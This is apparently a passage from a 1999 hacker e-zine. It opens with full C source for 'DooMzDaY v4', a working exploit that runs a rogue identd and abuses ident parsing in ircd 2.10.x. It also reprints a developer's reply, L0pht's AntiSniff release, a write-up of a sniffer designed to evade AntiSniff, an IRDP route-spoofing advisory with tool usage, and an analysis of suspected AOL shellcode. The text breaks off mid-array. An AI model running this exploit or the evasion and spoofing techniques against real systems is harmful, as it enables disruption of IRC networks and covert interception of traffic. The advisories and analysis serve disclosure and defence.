#include <sys/time.h>

jmp_buf jumpback;

void timed_out( int sig ) {
  longjmp( jumpback, 0x0 );
}

void fuck_it(int sig) {
  longjmp( jumpback, 0x0 );
}

int settimeout(unsigned short sockh, unsigned short timeout) {
  fd_set rfds;
  struct timeval tv;
  FD_ZERO(&rfds);
  FD_SET(sockh,&rfds);
  tv.tv_sec=timeout;
  tv.tv_usec=0;
  select(sockh+1,&rfds,NULL,NULL,&tv);
  if (!FD_ISSET(sockh,&rfds)) {
     return 0;
  } else {
     return 1;
  }     
  /* returns 0=timeout or error, 1=input there */
}


unsigned long lookup(char *hostname)
{
    struct hostent *name;
    unsigned long int address;
    
    if ((address = inet_addr(hostname)) != -1)
        return address;
    if ((name=gethostbyname(hostname)) == NULL)
        return -1;
    memcpy(&address,name->h_addr,name->h_length);
    return address;

}

int writesock(int sock,char *buf)
{
    write(sock,buf,strlen(buf));    
}

int readsock(int sock,char *buf,int size)
{
    int rc;
    fd_set rfds;
    struct timeval tv;
    int cnt;
    memset(buf,0x0,size);
    cnt=0;
    if (settimeout(sock,1)==1) {
        do {
            rc=read(sock,buf+cnt,1);            
            if (rc==0) return rc;
            if (rc==-1) return rc;
            cnt++;
        } while (buf[cnt-1] != '\n' && buf[cnt-1] != '\r' && cnt<size);
    }
    return 0;
}

int sockconnect( unsigned short timeout, unsigned long iP, unsigned short port ) {
  int                socky;
  int wasread;
  int currentsock;
  struct sockaddr_in address;
  struct hostent *athost;
  char lasock[0x100];
  unsigned long tip;
  unsigned short prt;
  FILE *sockslist;
  FILE *lastsock;
  
  if (( socky = socket( AF_INET, SOCK_STREAM, 0x0 )) == -1 ) {
    return socky;
  }
    
  address.sin_family      = AF_INET;
 
  address.sin_port        = htons( port );
  address.sin_addr.s_addr = iP; 
  signal( SIGALRM, timed_out );
  alarm(10);    

  if ( setjmp( jumpback ) == 0x0 ) {
    if ( connect( socky, (struct sockaddr*)(&address), sizeof( address ))) {
       socky = -1;
    }
  } else { socky = -1; }

  fflush(stdout);        

  alarm (0);
  return socky;

}

void brokenpipe()
{
    printf("Broken Pipe\n");
    return;
}

int tcpconnect( unsigned long  iP, 
                unsigned short port, 
                unsigned short timeout ) {

  int                socky;
  struct sockaddr_in address;
  struct sigaction sv;
  struct hostent *athost;
  char thathost[0x100];
  char buffer[512];

  int tries, length;
  socky = -1;
  tries = 0;

  sigemptyset(&sv.sa_mask);
  sv.sa_handler=brokenpipe;
  sigaction(SIGPIPE,&sv,NULL);    

/*  if ((athost = gethostbyname (thathost)) == NULL) {
     return -1;     
  }*/

  fflush(stdout);
   if ((socky = sockconnect(timeout,iP,port)) == -1) {
        fprintf(stdout,"Connection refused.\n");
        socky = -1;
        return socky;
   }

  if (socky == -1) printf("Connection refused.\n");    
  alarm( 0x0 );

  return socky;
}


int ircdboost(char *host, int port, char *nick)
{
    int sock;
    char buf[2048];
    char *pt;
    printf("Step 2: Connecting to the IRC Server.\n");
    sock=tcpconnect(lookup(host),port,10);

    if (sock==-1) {
        printf("Error: cant connect\n");
        exit(0x0);
    }
    printf("Step 3: Connected.. sending user / join\n");
    /* the star is very very important */
    writesock(sock,"USER o a a :a\r\n");
    snprintf(buf,sizeof(buf),"NICK %s\r\n",nick);
    writesock(sock,buf);
    snprintf(buf,sizeof(buf),"WHOIS kbnn%d\r\n",lookup(host));
    writesock(sock,buf);
    /* this joins are needed to broadcast the user to the connected servers */
    writesock(sock,"JOIN #sex\r\n"); /* yeah, right */
    writesock(sock,"JOIN #showdown\r\n"); /* yeah, right */
    writesock(sock,"JOIN #funfactory\r\n"); /* yeah, right */
    writesock(sock,"JOIN #usa\r\n"); /* yeah, right */
    writesock(sock,"JOIN #flirt.de\r\n"); /* yeah, right */
    writesock(sock,"JOIN 0\r\n"); /* yeah, right */
    printf("Step 4: Please press control+break to release the split.\n");
    while (readsock(sock,buf,sizeof(buf)) >=0)
    {
        pt=strstr(buf,"PING");
        if (pt==buf)
        {
            writesock(sock,"PONG :PPP\r\n");
        }
        pt=strstr(buf,"ERROR");
        if (pt==buf) break;
        printf(buf);
    }
    close(sock);
}

int
main (int argc, char **argv)
{
  int listensocket, insocket, outsocket;
  short listenport, destport;
  struct hostent *socks_he, *dest_he;
  struct sockaddr_in listen_sa, socks_sa;
  char buf[200];
  int sopts = 1, maxfd;
  char c[100];
  char *po;
  int length;
  int cnt;
  int rc;
  int lport,fport;
  fd_set rfds;
  lport= 0; fport =0;    

  printf("\nDooMzDaY v4 - by psychoid\n");
  printf("exploits a bug in the ircd ident request of ircd 2.10.x\n");

  if (argc != 4)
    {
      printf ("Usage: %s ircserver port nick\n", argv[0]);
      printf ("Example: %s chat.bt.net 6669 killah\n\n", argv[0]);
      exit (1);
    }

  printf("Setting up..\n");

  listenport = 113;

  listensocket = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
  setsockopt (listensocket, SOL_SOCKET, SO_REUSEADDR, &sopts, sizeof (int));

  memset (&listen_sa, 0, sizeof (struct sockaddr_in));

  listen_sa.sin_port = htons (listenport);
  listen_sa.sin_addr.s_addr = htonl (INADDR_ANY);

  socks_sa.sin_port = htons (destport);

  if ((bind (listensocket, (struct sockaddr *) &listen_sa, sizeof (struct sockaddr_in))) == -1)
    {
      perror ("bind");
      exit (1);
    }
  if ((listen (listensocket, 1)) == -1)
    {
      perror ("listen");
      exit (1);
    }

  rc=fork();
  if (rc ==0) {
     printf("\nStep 1: Starting identd\n");
     sleep(2); /* the demon should really run */
     ircdboost(argv[1],atoi(argv[2]),argv[3]);
     exit(0x0);    
  }     
gee:
  sleep(1);
  printf("        Identd started.. listening.\n");
  insocket = accept (listensocket, NULL, 0);
  if (insocket == -1)
    {
      perror ("accept");
      exit (1);
    }

  while (1)
    {
      memset(c,0x0,sizeof(c));
      FD_ZERO (&rfds);
      FD_SET (insocket, &rfds);
      select (insocket+1, &rfds, NULL, NULL, NULL);
      if (FD_ISSET (insocket, &rfds))
        {
          length = recv (insocket, c, 100, 0);
          if (length == -1 || length == 0)
            break;
          sscanf(c," %d , %d", &lport, &fport);
          snprintf(buf,sizeof(buf),"%d , %d : USERID : UNIX : @o ! ! ! ! ! ! \r\n",lport,fport);
          printf("\nIdent : %s\n",buf);
          /* sending it a second time because of the lame 1st patch */
          send(insocket,buf,strlen(buf),0);
          snprintf(buf,sizeof(buf),": USERID : UNIX : @o ! ! ! ! ! ! \r\n");
          printf("\nIdent : %s\n",buf);
          send(insocket,buf,strlen(buf),0);
          break;
        }
    }
  sleep(1);
  close (insocket);
  close (listensocket);
  wait(0);
  exit(0x0);
}

_________________________________________________________________________________________________________
4.5-:IRC: Exploit for a Bug in ircd2.10.x (qident) ; rponse (1/1)
_________________________________________________________________________________________________________

Hi there,

At 1:55 +0200 10-08-1999, Simon Coggins wrote:
>I'm sure your all on the list but just incase.
>

>----- Original Message -----
>From: <psychoid@GMX.NET>

>> qident does not check sucessfully for spaces and characters
>> as like *, ! and @.
>>
>> When using an ident as like "@o ! ! !", o would be treated as
>> host, the parameters which are left, would be enhanced by the number of
>> spaces provided by the ident.

thanks for the report, no I am not on bugtraq, I rely on
people in there contacting us to forward what's relevant ;)

As reported I don't think this problem exists on undernet's
codebase, since version .02 or such the reply of ident is
strongly checked and allows a very restricted set of chars,
dropping off (either by replacing them with _ or by forcing
them to terminate the userid) basically any non plain ascii
char and any char that has a special meaning to the irc
protocol.

Should something have slipped out of the checks.. jst report
it to me and will be fixed on the fly, as of now I think that
Undernet's ircu is safe from this kind of exploit.

Regards,

Andrea aka Nemesi
Undernet's coders committee.

[P.S.: Why there are on bugtraq 50 persons unable to tell their
 "vacation" message to not be sent to the posters of the mailing
 lists ? Lameness....]



=========================================================
4.5-:IRC: Exploit for a Bug in ircd2.10.x (qident) (End):
________________________________________________________________________________________________________





________________________________________________________________________________________________________
4.6-:L0pht Heavy Industries - AntiSniff (begin):
================================================

For Immediate Release

L0pht Heavy Industries Releases a Public Beta of Its
Revolutionary New AntiSniff Network Security Software
Boston, MA - July 22, 1999 - L0pht Heavy Industries, a world renowned
computer security think tank, today announced the public beta release of its
AntiSniff network security software, which can detect attackers
surreptitiously monitoring a computer network.

"AntiSniff is a whole new breed of network security tool, designed to detect
the attack patterns used in compromising a computer network, instead of
merely being reactive to already known vulnerabilities.", said Dr. Mudge,
Chief Scientist at L0pht Heavy Industries.

AntiSniff, which operates on both Windows NT and UNIX operating systems,
will detect remote computers that are packet sniffing, that is, monitoring
all network communications.

In a recent survey, three-quarters of U.S. corporations, government
agencies, financial institutions and universities reported suffering
financial losses due to computer security breaches. Some of these attacks
have become quite famous, such as the successfull attacks against the Senate
& FBI webservers. Other attacks, however, don't get any media attention, and
are far worse than the defacement of a web site. These attacks involve the
invasion of government and corporate secrets, and personal privacy. Many of
these attacks rely on packet sniffing to penetrate deep into a computer
network.

Network communication can be likened to large group of people standing
together in a room and talking. When people talk to each other, others
nearby have the ability to listen in. When computers communicate over
networks, they normally only listen to communications destined to
themselves. However, they also have the ability to enter promiscous mode,
which allows them to listen to communications that are destined to other
computers.

When an attacker successfully compromises a computer, they install what is
known as a packet sniffer, a tool that puts the computer into promiscuous
mode, thus allowing them to monitor and record all network communications.
The private information they gather, such as account names, passwords,
credit cards, and even e-mail, is then used to compromise other computers.
This is how, from one weak computer in a computer network, many computers,
and the information they contain can be compromised. Until now, it has been
impossible for network administrators to remotely detect if computers were
listening in on all network communications.

L0pht Heavy Industries' AntiSniff stops all this, by giving network
administrators and information security professionals the ability to
remotely detect computers that are packet sniffing, regardless of the
operating system. Dr. Mudge explains, "AntiSniff works by running a number
of non-intrusive tests, in a variety of fashions, which can determine
whether or not a remote computer is listening in on all network
communications. Now it is impossible for an attacker who is sniffing to
hide."

Current network security tools, such as network scanners, work by probing
machines for software that contains bugs or software that's misconfigured.
Intrusion Detection Systems (IDS), work by finding malicious signatures in
network traffic. AntiSniff, on the other hand, is the first of it's kind. It
remotely detects the passive act of eavesdropping on network communications.
It will even detect packet sniffers installed by a rogue insider who may
have legitimate administrative access to a machine, but still should not be
monitoring all network traffic.

The AntiSniff public beta is released for Windows NT, complete with a fully
featured graphical interface, report generating tools, and alarm system. It
is designed so that it can be used to quickly scan a network or scan
continuously, triggering alarms when a "packet sniffing" machine is
detected.

The beta version has been made available free to all who would like to try
it out. L0pht hopes to have the commercial release ready within a few weeks.
Retail and site license pricing have not yet been determined.

To further the research of the security community as a whole, as they have
in previous products, L0pht will be releasing AntiSniff as a UNIX
command-line tool, complete with full source code.

For more information please contact AntiSniff@l0pht.com. The free beta
download and full documentation are available at
http://www.l0pht.com/antisniff/.

About L0pht Heavy Industries

L0pht Heavy Industries is a world renowned computer security think tank.
Founded in 1992 as a computer research facility, the L0pht has grown into a
leader in the field of computer security software. The L0pht's products
include L0phtCrack, the industry standard NT password auditing tool. As a
result of their innovative security research, the L0pht has released dozens
of computer security advisories to the Internet community, warning of
dangerous vulnerabilities in today's most widely used software. Many at the
L0pht are considered top experts in the computer security field and have
appeared on numerous network news programs and documentaries, as well as
having testified about government computer security for the U.S. Senate.
Visit the L0pht's web site at http://www.l0pht.com.

All trademarks and registered trademarks are the property of their
respective holders.



These pages are Copyright 1999 L0pht Heavy Industries, Inc.

==============================================
4.6-:L0pht Heavy Industries - AntiSniff (End): 
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
4.7-:All Hail The AntiAntiSniffer Sniffer! :
============================================

Hello once again folks.

For those of you who didn't muck through the l0pht technical documentation,
their AntiSniff product works in 3 ways:

1. OS dependant IP stack glitches which mostly revolve around ether frames
that have a different hwaddr than your NIC not being dropped by a kernel when
the interface is in promiscous mode, thus eliciting some sort of response from
your kernel.

2. DNS lookups. When most sniffers are running, the resolve the IPs of the
hosts they sniff, so all you have to to is send out some fake packets with
fake IP headers, and listen for the sniffing host to try to resolve them via
DNS.

3. Latency. When the interface is in promiscous mode, the device no longer
drops eth frames not destined for it's hwaddr, so this dropping must be done
in kernelspace or in userland (by the sniffer). The logging proccess and the
context switch from kernel to userspace eat up a good amount of time, so all
you have to do is send a lot of data to the network with bogus IP's, then ping
all the machines. The sniffing machines will have to wade through all the
bogus data, and thus their responses are much slower.

I was most impressed with #3. It does work surprisingly well for detecting
promiscous legitamate loggers. In fact, 3 days before this advisory, I was
very surprised to see that when I ran icmplogger (from the jail package) my
ping responses from myself dropped from 0.0 to 1.4ms, and to other machines
from 0.3 to 1.5ms. That's well over the 4 fold increase reported in the l0pht
paper.

Ok, now how did I get around all these issues? Well, lets go one by one:
1. The Linux kernel is perfect (well, almost :). I checked the 2.2.10 source,
and it in fact does always drop invalid eth frames destined for your machine
when your are in promisc mode (see net/ipv4/ip_input.c).

2. All you have to do is use inet_ntoa() instead of gethostbyname() :)

3. This is where the REAL fun is. I designed a network load average evaluator
that calculates a ms/packet rate. If the network falls below a user specified
rate (ie LOTS of packets per ms), the sniffer does one of 3 things:
        0. Will not trace more than a user specified number of conenctions
           (fall-back mode)
        a. Stopps queueing and logging connections to disk until the load
           average goes back up (LAZY mode)
        b. Drops the interface and goes to sleep if the load average for tcp
           connections only goes below a specified rate (PARANOID mode)
        c. Drops the interface and goes to sleep if the load average for ALL
           network packets goes below a specified rate (REALLY_PARANOID mode)

Issues that I came across:
1. I randomized the sleep time so that we wouldn't be caught by a double scan
that knows how long the default sleep time is for the sniffer.

2. The sniffer averages the load over a user specified number of packets. It
may be possible to write a compact version of AntiSniff that gets the job
done in a number of number of packets small enough to evade the default
setting, but that can always be lowered :)

3. Some kernels don't like to work with the sniffer. In fact, I have a 486,
a K6, and a dual PII 300 that I tested this thing on. It sniffs on the 486,
but the kernel drops ALOT of packets, so the sniffer never sees the rate fall
below the danger threshold. (I think this is because I set the CPU_IS_TO_SLOW
option for the 486). The K6 works beautifully with the traffic detection, but
will not sniff. Go figgure :) The only thing I can think of is that the K6 is
configured no to use modules, perhaps this has some side effect in the socket
PACKET code? The Dual PII 300 worked flawlessly.

For more information, see the accomanied source file. I tired to make it as
well commented as possible. It is based on the original LinSniffer by Mike
Edulla. Linsniff666 (the modified version that uses linked lists) proved too
unstable and looked too grossly ineffienct to use for something like this. My
version does queue up connection in linked lists like linsniff666.

I tried to make the sniffer as foolproof as possible to give the l0pht guys
something to think about for revision 2.0. Remember, I did this all in only
one night. I have no idea what a modivated hacker could do.

Also, this is very beta. I know it will sniff. I haven't tested the linked
list code very thouroghly, altho my brother and I did look over it for almost
2 hours, and it does seem to work pretty well. I have no idea about memory
leaks, or extremely heavy loads.

P.S. To all my friends, coworkers, and associates who thought I knew better
than to do something like this, please understand that when I discovered I
could call the program The AntiAntiSniffer Sniffer, I just couldn't resist :)

================================================
4.7-:All Hail The AntiAntiSniffer Sniffer! (End)
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
4.8-:L0pht ICMP Router Discovery Advisory (begin) :
===================================================



Not sure what happened to it the first time; here's a second forwarding.
  -sili

--[begin]--
                          L0pht Security Advisory

           Release date: August 11, 1999
             Vulnerable: Microsoft Windows95a (w/winsock2), Windows95b
                         Windows98, Windows98se and Sun Microsystems
                         SunOS & Solaris operating systems.
               Severity: Attackers can remotely add default route entries
                         on the victims host.
                 Status: Microsoft contacted, fix provided.
                 Author: sili@l0pht.com
                    URL: http://www.L0pht.com/advisories.html
            Source code: http://www.l0pht.com/advisories/rdp.tar.gz
                         code written by Silicosis & Mudge


I. Problem
----------

  The ICMP Router Discovery Protocol (IRDP) comes enabled by default on
DHCP clients that are running Microsoft Windows95 (w/winsock2),
Windows95b, Windows98, Windows98se, and Windows2000 machines.  By
spoofing IRDP Router Advertisements, an attacker can remotely add default
route entries on a remote system.  The default route entry added by the
attacker will be preferred over the default route obtained from the DHCP
server. While Windows2000 does indeed have IRDP enabled by default, it
less vulnerable as it is impossible to give it a route that is preferred
over the default route obtained via DHCP.

  SunOS systems will also intentionally use IRDP under specific
conditions. For Solaris2.6, the IRDP daemon, in.rdisc, will be started
if the following conditions are met:

                . The system is a host, not a router.
                . The system did not learn a default gateway from a
                  DHCP server.
                . The system does not have any static routes.
                . The system does not have a valid /etc/defaultrouter
                  file.

It should be noted that the important point of this advisory is not
that ICMP Router Solicitation and Advertisement packets have no
authentication properties. Yes, this is a problem but it has long been
known. The dangerous aspect comes in various MS platforms enabling
this protocol and believing it _even when the DHCP setup specifies
not to use IRDP (dhcp option #31) (ie the operating system does this even
though you believe you are telling it NOT TO).

The tool provided with this advisory is the basis of what would
be used for everything from web page hacks, stealing credentials,
modifying or altering data, etc. involving vulnerable systems.
We believe most cable modem DHCP clients and large internal
organizations are at risk.

II. Risks
---------

  The ICMP Router Discovery Protocol does not have any form of
authentication, making it impossible for end hosts to tell whether or not
the information they receive is valid.  Because of this, attackers
can perform a number of attacks:

   Passive monitoring:  In a switched environment, an attacker
                        can use this to re-route the outbound traffic of
                        vulnerable systems through them.  This will allow
                        them to monitor or record one side of the
                        conversation.

                        * For this to work, and attacker must be on the
                        * same network as the victim.

    Man in the Middle:  Taking the above attack to the next level, the
                        attacker would also be able to modify any of the
                        outgoing traffic or play man in the middle.

                        By sitting in the middle, the attacker can act as
                        a proxy between the victim and the end host. The
                        victim, while thinking that they are connected directly
                        to the end host, they are actually connected to the
                        attacker, and the attacker is connected to the end
                        host and is feeding the information through.  If
                        the connection is to a secure webserver that uses SSL,
                        by sitting in the middle, the attacker would be able
                        to intercept the traffic, unencrypted.

                        A good example of this risk is on-line banking;
                        an attacker playing man-in-the-middle would be able
                        to intercept all of the banking information that
                        is relayed, without the victim's knowledge.
                        This is just a generic oversimplified scenario,
                        there are obvious issues with certificates that
                        the attacker would have to deal with if
                        attempting this scenario.

                        * For this to work, and attacker must be on the
                        * same network as the victim.

    Denial of Service:  Remote attackers can spoof these ICMP packets and
                        remotely add bad default-route entries into a
                        victims routing table.  Because the victim's
                        system would be forwarding the frames to the
                        wrong address, it will be unable to reach other
                        networks.

                        Unfortunately, DHCP has quickly become popular and is
                        relied upon in most companies. In some cases, such as
                        cable & *DSL modems, users are required to use DHCP.

                        Because of the large number of vulnerable systems,
                        and the fact that this attack will penetrate firewalls
                        that do not stop incoming ICMP packets, this Denial
                        of Service attack can become quite severe.


  It should be noted that the above attacks are documented in Section 7,
of RFC 1256.  However, the RFC states states that the attacks are
launched by an attacker on the same network as the victim. In the Denial
of Service attack, this is not the case; an attacker can spoof IRDP
packets and corrupt the routing tables on systems that are on remote
networks.

  While these attacks are not new, the fact that Windows95/98 DHCP
clients have been vulnerable for years, is.  On systems running SunOS &
Solaris, it is easy to find documentation on IRDP by looking at the
startup scripts or manpages.  On Windows95/98, however, information
has only become recently available in the Knowledge Bank.


III. Technical Details
----------------------

 Upon startup, a system running MS Windows95/98 will always send 3 ICMP
Router Solicitation packets to the 224.0.0.2 multicast address.  If the
machine is NOT configured as a DHCP client, it ignores any Router
Advertisements sent back to the host.

  However, if the Windows machine is configured as a DHCP client, any
Router Advertisements sent to the machine will be accepted and processed.
Once an Advertisement is received, Windows checks to see how many Gateway
entries the packet contains.  If the packet contains only 1 entry, it
checks to make sure the IP source address of the Advertisement is inside
the hosts subnet.   If it is, the Router Address entry inside the
advertisement is checked to see that it is also within the host's subnet.
If so, a new default route entry is added.  If the address is outside the
subnet, it the advertisement is silently ignored.

  If a host receives a Router Advertisment that contains 2 or more Router
Addresses, the host will processes the packet even though the IP source
address is not local.  If the host finds a Router Address inside the
advertisement that is inside the host's subnet, it will add a default
route entry for it.

  Because the host does not care about the IP source address of the
Advertisement as long as it has more than one entry, attackers can now
create bogus IRDP packets that will bypass anti-spoofing filters.

 Before the host can add a new default route entry, it has to determine
the route metric.  On Windows95/98, normal default route entries obtained
from a DHCP server have a metric of 1.  In order to determine the metric
for the default route entry obtained via IRDP, the Windows host subtracts
the Advertisement's Preference value from 1000.  By creating an ICMP
Router Advertisement with a preference of 1000, the default gateway route
added will have a metric of 0, making it the preferred default route.

 By adjusting the Lifetime value in the advertisement, an attacker can
adjust how many seconds the gateways are valid for.

 DHCP Vendor Option #31, "Perform Router Discovery" has no effect on
disabling this. If you configure your DHCP server to implicitly disable
Router Discovery, the vulnerable Window95/98 hosts will ignore this, and
continue to update their routing tables with information gleemed via
IRDP.

IV. Fixes / Work-arounds
------------------------

 Firewall / Routers:
        Block all ICMP Type 9 & Type 10 packets.  This should protect
        against remote Denial of Service attacks.

 Windows95/98:

        The Microsoft Knowledge Base contains an article that gives info
        on how to disable IRDP. It can be found at:

        http://support.microsoft.com/support/kb/articles/q216/1/41.asp

        Brief Summary of article:

          IRDP can be disabled manually by adding "PerformRouterDiscovery"
          value name and setting it to a dword value of 0, under the
          following registry key(s):

              HKLM\System\CurrentControlSet\Services\Class\NetTrans\####

          Where #### is the binding for TCP/IP. More than one TCP/IP
          binding may exist.

 Solaris:

        Configure your host to obtain a default gateway through DHCP,
        static routes, or via the /etc/defaultrouter file. For more
        information on IRDP refer to in.rdisc's man-page.


V. Detection
-------------

  L0pht has released a NFR Intrusion Detection Module to detect both
  Router Solicitations and Advertisements. You can find it at:
        http://www.l0pht.com/NFR

  NFR information can be found at http://www.nfr.net


VI. Source Code
-----------

 L0pht is making available Proof-of-Concept code that will let individuals
test their systems & firewalls.

The source code can be found at: http://www.l0pht.com/advisories/rdp.tar.gz

Usage is fairly straight forward:

Usage: rdp -v -l -s -d <delay> -p <pref> -t <lifetime> -i <dev>
           -S <src> -D <dst> -R <rtr> -r <optional 2nd rtr>

        -v verbose
        -l listen mode
        -s send mode
        -d <delay time between sending packets>
        -n <number of rdp packets to send>
        -I <ID value to place in IP packet>
        -p <preference level>
        -t <lifetime>
        -i <interface to use for sniffing>
        -S <source address to put in outgoing rdp packet>
        -D <destination address to put in outgoing rdp packet>
        -R <router address to advertise in rdp packet>
        -r <optional 2nd router address to advertise in rdp packet>


Misc software notes:

Listen Mode:    Software listens for ICMP Router Solicitations.  If the
                '-s' flag is specified as well, the software will answer
                the Solicitations with ICMP Router Advertisements.

 Preference:    If the preference is not specified, it will use a default
                of 1000, which will give the default route a metric of 0
                on affected Windows systems.

2nd Router Addr: By using the '-r' flag and specifying a second router address
                entry, the packet can contain a bogus source address and still
                be processed for correct gateway entries by the end host.

=================================================
4.8-:L0pht ICMP Router Discovery Advisory (End) :
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
4.9-: AOL Buffer Overflow??? (begin) :
======================================

/*
Possible Buffer Overflow in AOL Instant Messenger
------------------------------------------------------------
Robert Graham
http://www.robertgraham.com/pubs/aol-exploit/


It appears to me that AOL might be running a buffer-overflow
exploit against their own clients.


BEFORE DOING ANYTHING ELSE: log onto AOL Instant Messaging and
take a trace of it with NetMon/tcpdump/Sniffer/etc. If this is
really happening, then AOL will likely fix it soon.


DETAILS
------------------------------------------------------------

Last friday I read the following in the NYTimes:
http://www.nytimes.com/library/tech/99/08/biztech/articles/13soft.html

This story brings up the implication that America Online might
be running a "buffer-overflow exploit" on in its own users.
They have already made 13 changes to their server code in
the past few weeks in order to stop Microsoft's clones from
working, so this may be yet another attempt.

According to whay I see, it appears to me that this implication
is correct. I see something that looks a lot like a buffer overflow
exploit when sniffing the connection between the client and AOL's servers.

You can reproduce this yourself:

1. log onto AOL Instant Messenger with the latest client that
   comes with Communicator version WIN32 2.0.912, aka 2.0N.
   (Click on [File/Help/Report a bug] to get the real version).

2. take a packet trace of the login procedures (I use NetMon).

3. look for the frame that I describe below.

4. copy/paste the frame data into the C program as I demonstrate
   below.

5. step through the code in the debugger and disassemble it


THE PACKET
------------------------------------------------------------

AOL has removed their documentation from the Internet recently.
I had to download the GAIM (AIM client for Linux) source
code to figure things out.

A TCP connection is used. The format for each request/response
in the login process is:

byte[0] = 0x2a
byte[1] = 0x02 (type = 2 =login)
byte[2-3] = sequence number
byte[4-5] = length
byte[6-7] = type
byte[8-9] = subtype

However, multiple requests/responses can be queued into
a single packet. Following is the entire TCP packet I received
from the AOL server to my client:

00000000  00 00 BA 5E BA 11 00 A0 C9 B0 5E BD 08 00 45 00 ...^......^...E.
00000010  01 90 35 2A 40 00 7F 06 AF 73 0A 00 00 02 0A 00 ..5*@...s......
00000020  01 C9 04 38 0D 7F 25 F8 E3 A3 0C 19 A5 14 50 18 ...8.%.......P.
00000030  6E B5 4C E2 00 00/2A 02 31 F8 00 0C 00 0B 00 02 n.L...*.1.......
00000040  00 00 80 A2 F1 D5 04 B0/2A 02 31 F9 01 28 00 01 ........*.1..(..
00000050  00 13 00 00 80 A2 F1 D6 00 FF 00 0B 01 18*83*C4 ................
00000060  10 4F 8D 94 24 E4 FE FF FF 8B EC 03 AA F8 00 00 .O..$...........
00000070  00 90 90 90 90 8B 82 F0 00 00 00 8B 00 89 82 4E ...............N
00000080  00 00 00 8B 4D 04 03 8A F4 00 00 00 8D 82 42 00 ....M.........B.
00000090  00 00 89 45 10 B8 10 00 00 00 89 45 0C C9 FF E1 ...E.......E....
000000A0  00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 ................
000000B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140  00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 ................
00000150  08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 ..)...D.........
00000160  00 00 08 01 00 00 00 00 00 00 90 47 40 00 F8*E9*...........G@...
00000170  EA FE FF FF 00 00/2A 02 31 FA 00 22 00 01 00 13 ......*.1.."....
00000180  00 00 80 A2 F1 D7 00 04 00 0B 00 12 68 74 74 70 ............http
00000190  3A 2F 2F 77 77 77 2E 61 6F 6C 2E 63 6F 6D       ://www.aol.com


There are three AIM segments in this packet, which I've
marked with slashes in the above decode. (Remember that
TCP is a stream based protocol, so application protocols
have to figure out their own boundaries, and you often
see multiple segments in a single TCP packet). The
second segment is of interest here, as marked by
the slashes.

It seems like the first byte of the embedded code
starts at the byte with the value 0x83 at offset 0x53
However, this isn't the buffer overflow, but the start of the
buffer itself. Immediately proceeding this is what appears to
be a length field. I'm thinking they only allow for a max
length of 256 (0x100), but the length field has an
extra 0x18 bytes. So if we go 256 bytes into the buffer,
we get some more stuff that looks like code.

I haven't analyzed all this stuff, but it appears that at
the end of the overflow section, it jumps back to the start
of the buffer that contains the code of the exploit.
[You only get so much wriggle room where you overflow,
because the more you overflow, the more of the stack you
overwrite; so the overflowed section has to be as small
as possible, and jump backwards to actually run something].


THE DECODE
------------------------------------------------------------

In this section, I have done a decode of all the bytes
in the segment. To the left are the original bytes,
to the right is either the protocol interpretation
or the disassembled output. These bytes are
in the same order as in the original packet.

2A 02                          parse of logon sequence
31 F9                          sequence number
01 28                          length of this segment
00 01 00 13                    type/subtype field of this packet
00 00 80 A2 F1 D6 00 FF 00 0B  unknown data
01 18                          length of data field

83 C4 10             add         esp,10h
4F                   dec         edi
8D 94 24 E4 FE FF FF lea         edx,dword ptr [esp-11Ch]
8B EC                mov         ebp,esp
03 AA F8 00 00 00    add         ebp,dword ptr [edx+0F8h]
90                   nop
90                   nop
90                   nop
90                   nop
8B 82 F0 00 00 00    mov         eax,dword ptr [edx+0F0h]
8B 00                mov         eax,dword ptr [eax]
89 82 4E 00 00 00    mov         dword ptr [edx+4Eh],eax
8B 4D 04             mov         ecx,dword ptr [ebp+4]
03 8A F4 00 00 00    add         ecx,dword ptr [edx+0F4h]
8D 82 42 00 00 00    lea         eax,dword ptr [edx+42h]
89 45 10             mov         dword ptr [ebp+10h],eax
B8 10 00 00 00       mov         eax,10h
89 45 0C             mov         dword ptr [ebp+0Ch],eax
C9                   leave
FF E1                jmp         ecx

00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 filler
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 block
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 that
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 doesn't
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 mean
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 much
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 start of
08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 overflow
00 00 08 01 00 00 00 00 00 00
90 47 40 00                                         jump address?
F8                                              unknown

E9 EA FE FF FF       jmp         back_to_start_of_buffer

00 00

You'll notice that there appears to be other code that
I haven't disassembled. I would have to second-guess
the original source, and I don't quite feel like it.

How to disassemble this? The easiest way is simply
to paste the data bytes into a program and RUN the code.

In theory, you could create a sample program that would
actually run this code completely without crashing
but that would take A LOT of effort.


THE CODE TO TEST IT
------------------------------------------------------------
*/

/* The data from the packet, starting at where I believe the data field
 * begins.*/
unsigned char packet[] = {0x83, 0xC4,
0x10, 0x4F, 0x8D, 0x94, 0x24, 0xE4, 0xFE, 0xFF,
0xFF, 0x8B, 0xEC, 0x03, 0xAA, 0xF8, 0x00, 0x00,
